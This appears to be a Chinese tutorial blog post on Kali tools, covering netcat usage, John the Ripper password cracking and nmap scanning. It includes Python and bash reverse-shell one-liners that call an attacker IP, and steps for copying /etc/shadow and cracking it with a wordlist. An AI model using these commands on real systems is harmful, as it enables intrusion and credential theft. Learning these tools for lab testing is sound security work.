kali工具的使用

2023-11-16

一、netcat简介与使用

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat并不能产生UDP连接,因为UDP是一种无连接的协议。NetCat没有图形界面,很粗糙,很原始。Nc主要功能,Nc可以在两台设备上面相互交互,即侦听模式/传

nc工具的下载及安装:

下载:地址The GNU netcat - Browse /netcat/0.7.1 at SourceForge.net(下载的是netcat-0.7.1.tar.gz版本)

解压到自己指定目录中:

tar -zxvf netcat-0.7.1.tar.gz -C /usr/local

安装:

./configure --prefix=/opt/netcat

编译:

make

安装:

make install

配置环境变量:

vim /etc/profile

添加以下内容:

# set netcat path  
​
export NETCAT_HOME=/opt/netcat 
​
export PATH=$PATH:$NETCAT_HOME/bin

保存,退出,并使配置生效:

source /etc/profile

常用命令:

nc的基本命令行形式是

nc [options] host ports

其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能域名服务器

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出--用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉--用于扫描时

nc的基本使用方法:

1、实现连接通讯

服务端 监听端口 Nc -lnvp 端口

客户端 连接端口 nc ip 端口

代表监听本地的端口输出结果不加域名

 

2、传输文件内容

服务端:nc -lvp 6666 > 2.txt

客户端:nc ip 端口 < 2.txt

3、获取shell

获取shell分为两种,一种是正向shell,一种是反向shell。如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell。

正向shell:

使用Netcat能实现类似ssh的功能,即将目标机器shell终端暴露在某个端口上,然后本地机器使用Netcat连接到目标机器上,就可以访问目标机器的shell终端

示意图:

 

攻击机连接靶机,攻击机作为客户端,靶机作为服务器,攻击机主动连接靶机。

缺点:靶机如果有waf或者做了策略基本连不上。

反向shell:

示意图:

 

 

靶机连接攻击机,靶机作为客户端主动连接上作为服务端的攻击机。

优点:便于实战使用,不会因为靶机有防火墙而无法连接。

反向shell的渗透思路:命令执行漏洞 ,木马的方式 等。

python方法:

Python:

代码块

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.129",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击机开启nc监听端口9999

nc -lvp 9999

靶机利用python代码链接攻击机9999端口并发送自己的shell文件

攻击机:

靶机:

理解:python方法可以在靶机没有nc软件的情况下对攻击机发送shell文件,但需要靶机安装python环境,对靶机有一定要求

bash方法:

代码:

bash -i >& /dev/tcp/192.168.163.128/9999 0>&1

靶机:

攻击机:

理解:同理python,不需要环境,软件,linux自带的脚本编译器


二、john工具的使用

John the Ripper是一个快速的密码破解程序,目前可用于Unix,Windows,DOS和OpenVMS的许多口味。其主要目的是检测弱Unix密码。除了在各种Unix系统上最常见的几种crypt(3)密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。

下载:

Kali中无需下载直接使用 其他Linux请使用命令: 请记得连上互联网!

sudo apt-get install john 或 sudo yum install –y john

常用命令:

--single[=SECTION] ] “单裂”模式

--wordlist[=FILE] --stdin 单词表模式,从FILE或stdin读取单词

--pipe 像--stdin一样,但批量读取,并允许规则

--loopback[=FILE] 像 --wordlistg一样, 但是从.pot文件中获取单词

--dupe-suppression 压制wordlist中的所有模糊(并强制预加载)

--prince[=FILE] PRINCE模式,从FILE中读取单词

--encoding=NAME 输入编码(例如,UTF-8,ISO-8859-1)。 也可以 看看doc / ENCODING和--list = hidden-options。

--rules[=SECTION] 为单词表模式启用单词修改规则

--incremental[=MODE] “增量”模式[使用部分模式]

--mask=MASK 掩码模式使用MASK

--markov[=OPTIONS] “马尔可夫”模式(参见doc / MARKOV)

--external=MODE 外部模式或字过滤器

--stdout[=LENGTH] 只是输出候选人密码[在LENGTH切]

--restore[=NAME] 恢复被中断的会话[名为NAME]

--session=NAME 给一个新的会话NAME

--status[=NAME] 打印会话的状态[名称]

--make-charset=FILE 制作一个字符集文件。 它将被覆盖

--show[=LEFT] 显示破解的密码[如果=左,然后uncracked]

--test[=TIME] 运行测试和每个TIME秒的基准

--users=[-]LOGIN|UID[,..] [不]只加载这个(这些)用户

--groups=[-]GID[,..] 只加载这个(这些)组的用户

--shells=[-]SHELL[,..] 用[out]这个(这些)shell来加载用户

--salts=[-]COUNT[:MAX] 用[out] COUNT [到MAX]散列加载盐

--save-memory=LEVEL 启用内存保存,级别1..3

--node=MIN[-MAX]/TOTAL 此节点的数量范围不在总计数中

--fork=N 叉N过程

--pot=NAME 锅文件使用

--list=WHAT 列表功能,请参阅--list = help或doc / OPTIONS

--format=NAME 强制使用NAME类型的散列。 支持的格式可以用-- list=formats和--list=subformats来看(最常用)

john的破解模式:

破解条件:已知密文

  • 字典模式:(--worldlist)在这种模式下,用户只需要提供字典和密码列表用于破解。

    #命令方式:

    john --wordlist=wordlst.txt pass_shadow.txt

    #wordlst.txt:是字典文件,每个密码独占一行

    #pass_shadow.txt:密码文件

    还可以仅破解指定用户(--user=root)

  • 单一破解模式:(--single)这是john作者推荐的首选模式。John会使用登录名、全名和家庭通讯录作为候选密码。

    #命令方式:

     john --single pass_shadow.txt

  • 递增模式:在该模式下john会尝试所有可能的密码组合。这是最具威力的一种。

  • 外部模式:在这种模式下,用户可以使用john的外部破解模式。使用之前,需要创建一个名为(list.external:mode)的配置文件,其中mode由用户分配。

案例:

在使用时,我们首先要将 etc 目录下 passwd 、 shadow 的内容复制到另一个文本文件中,如下命令 。

然后使用john工具进行简单的暴力破解,如下:

当用户的密码设置的十分困难时,我们就需要一个字典文件来进行破解,这时我们可以使用John -w –rules :使用字典文件来进行解密,如人们常用hello、admin、password、superman、cooler、asdfgh、 123456等作为自己的密码。而-rules参数则在此基础上再加上些变化,如字典中有单词test,则john还会尝试使用tes、teSt、 tset等单词变化进行解密。



三、nmap工具的使用

Nmap是一款开源免费的网络发现和安全审计工具。它被用来快速扫描大型网络.包括主机探测于发现、开放的端口情况、操作系统与应用服务指纹识别及常见安全漏洞。它的图形化界面是Zenamp

NMAP的功能包括:

主机发现

端口扫描

版本侦测

操作系统侦测

常用参数:

-T4指定扫描过程的级别,级别越高扫描速度越快,但也越容易被防火墙或者IDS 屏蔽, 一般推荐使用T4级别

-sn只进行主机发现,不进行端口扫描

-〇进行系统版本扫描

-sV进行服务版本扫描

-p 扫描指定端口

-sS发送SYN包扫描

-sT发送TCP包扫描

-sA发送ACK包扫描

-sU UDP扫描

-PO 不进行ping扫描

-script指定脚本扫描

常见的6种 Nmap端口状态及其含义:

open :开放的,表示应用程序正在监听该端口的连接,外部可以访问

filtered:被过滤的.表示端口被防火墙或其他网络设备阻止,不能访问

closed:关闭的,表示目标主机未开启该端口

unfiltered:未被过滤的,表示nmap,无法确定端口所处状态,需进一步探测

open/ filtered:开放的或被过滤的, Nmap 不能识别

closed/ filtered:关闭的或被过滤的, Nmap 不能识别

常用的nmap命令:

1、nmap 192.168.1.1扫描单个目标

2、nmap 192.168.1.0/24扫描192.168.1.0这个网段

注意:A类 10.0.0.0/8

B类 172.0.0.0/16

C类 192.168.0.0/24

3、nmap 192.168.1.1 -p 21.22,23,80扫描192.168.1.1这个地址是否开放了某端口

4、 nmap -sS -T4 -sV 192.168.1.1 以sS.方式扫描.级别为T4.结果详细输出,扫描192.168.1.1

5、 nmap -ss-p1-65535 -v 192.168.1.1扫描192.168.1.1目标主机全部端口

6、 nmap --script=vuln 192.168.1.135 采用脚本扫描的方式,扫出对方存在的漏洞

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

kali工具的使用 的相关文章

随机推荐

  • centos7执行命令iptables 出现Unit iptables.service failed to load: No such file or directory.

    解决方式 安装iptables services yum install iptables services 开机启动 systemctl enable iptables systemctl stop iptables systemctl
  • 更新powershell 7.3.2

    最近在使用VsCode时打开中断会时常提示你powershell已经更新前往地址下载 但是跳转到的页面描述有时候看不太清晰 于是去b站结合网络文档还是成功更新了 有兴趣的朋友可以通过这个链接查看一下在线文档 gt powershell的在线
  • ASPxTextBox中数据有效性设置

    1 选中ASPxTextBox控件 2 设置属性 Validationsettings中errordisplaymode requiredfield中errortext和isrequired 3 结果 4 总图
  • 100天精通Python(可视化篇)——第78天:matplotlib绘图模块基础入门大全

    文章目录 专栏导读 一 课程介绍 为什么要学习matplotlib 什么是matplotlib 二 绘制折线图 基础绘图 设置图片大小和分辨率 调整X或者Y轴上的刻度 设置中文显示 坐标轴添加描述信息 绘制网格 双折线图 添加图例 自定义绘
  • unittest使用ddt数据驱动的小demo

    一 ddt简介 1 ddt是 data driven testing的缩写 中文含义是数据驱动测试 2 ddt通常与unittest组合使用 常用的包有ddt data unpack file data 我这边使用前两种 二 ddt安装 1
  • word怎么改一张纸的方向_word单页怎么改变纸张方向

    word改变单页纸张方向的方法 1 将插入点移动到需要修改的单页的开头 2 在 布局 菜单中 分隔符 下选择 下一页 3 点击 纸张方向 选择 横向 4 将插入点移动到下一页的开头 再点击 分隔符 的 下一页 再点击 纵向 即可 本教程操作
  • el-tree和el-table相关使用

    文章目录 el tree实现模糊查询 el tree实现node节点增删改 el tree 实现节点懒加载 el tree获取所有选中的当前节点 el tree获取当前节点及其选中父节点 el table 获取多选行的所有节点 el tab
  • 产消合一。有感于华人新首富赵长鹏投资福布斯的话

    DAO Web 3 0引领的新时代是 产消合一的经济 逐渐发展成为 融投研产消宣多种角色为一身 有感于赵长鹏希望投资福布斯 xxFi或xx To Earn含DeFi GameFi Play To Earn P2E SocialFi Read
  • ES搜索引擎入门+最佳实践(一)

    ES在搜索和数据分析中的应用越来越广泛 在之前项目中对ES的使用有些心得 最近有不少朋友和同事都问到了ES 刚好最近也有些时间 所以打算通过8 10篇文章介绍下ES 其实我也不知道最终会写下多少篇 一 概述 本篇文章计划给大家介绍什么ES
  • CVPR2022 |小红书首创多图交互建模挑战热门研究课题,大幅提升行人重识别性能

    在CVPR2022上 小红书多模态算法组提出一种新颖的用于行人重识别的网络Neighbor Transformer NFormer 区别于传统的行人重识别网络仅仅对单张图片进行建模 NFormer对通过transformer对多张输入图像进
  • PWN保护机制以及编译方法

    0x00 声明 以下内容 来自先知社区的作者逆向萌新原创 由于传播 利用此文所提供的信息而造成的任何直接或间接的后果和损失 均由使用者本人负责 长白山攻防实验室以及文章作者不承担任何责任 0x01前言 Ctf中的pwn题 在利用gcc编译的
  • 调试不方便?我直接把公众号网页线上环境搬到本地

    在开发微信公众号网页时 我们最关心的一个问题就是调试 怎么调试线上环境 调试是否足够方便 本文分享一种能够极大提高效率的微信公众号网页开发调试技巧 可以实现在本地开发时直连线上生产环境 如果你还不清楚这种场景下的调试技巧 不妨花几分钟阅读本
  • 判断是否有统计意义/差异具有显著性/具有显著差异/零假设(希望证明为错误的假设)/卡方检验

    目录 1 有统计学意义 2 差异具有显著性 3 具有显著差异 4 统计学中的假设 4 1 零假设 4 2 备择假设 5 卡方检验 6 有统计学意义 和 差异显著 的区别 参考资料 1 有统计学意义 统计学意义是指在研究组和对照组间出现疗效差
  • Django-42-ORM多对多查询(ManyToManyField自动创建)

    前提 初始表数据 手动创建与自动创建的区别主要在于自动创建的表没有第三张可操作的表 其他没区别 此篇仅以自动创建为例说明 book表 author表 book authors表 关系表 django study app01 views py
  • 渗压计特性特点计算方法应用

    渗压计是一种测量渗流水或静力压力的传感器 适用于回填或原位孔隙水压力的测定 扬压力的测定 水位或容器中流体压力的测定 具有抗干扰能力强 长期稳定 密封可靠等特点 广泛应用于建筑 铁路 交通 水电大 坝 隧道等土木工程领域 特性 结构简单 紧
  • 软件工程:(四)概要设计

    一 定义 概要设计是一个设计师根据用户交互过程和用户需求来形成交互框架和视觉框架的过程 其结果往往以反映交互控件布置 界面元素分组以及界面整体板式的页面框架图的形式来呈现 这是一个在用户研究和设计之间架起桥梁 使用户研究和设计无缝结合 将对
  • KNN实现手写数字识别

    其他实现手写数字识别的方法 1 聚类 K means 实现手写数字识别 2 卷积神经网络 CNN 实现手写数字识别 3 全连接神经网络实现手写数字识别 4 聚类 K means 实现手写数字识别 2 实验数据是老师收集了所有人的手写数字图片
  • jeesite快速开发平台(一)----简介

    以下内容来自官网 一 平台简介 JeeSite是基于多个优秀的开源项目 高度整合封装而成的高效 高性能 强安全性的开源Java EE快速开发平台 JeeSite是您快速完成项目的最佳基础平台解决方案 JeeSite是您想学习Java平台的最
  • 寄存器的基本原理

    参考大神博客 https blog csdn net qq 37340753 article details 80935423 https blog csdn net u012493828 article details 53439226
  • kali工具的使用

    一 netcat简介与使用 nc的全称为NetCat 它能够建立并接受传输控制协议 TCP 和用户数据报协议 UDP 的连接 Netcat可在这些连接上读写数据 直到连接关闭为止 它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互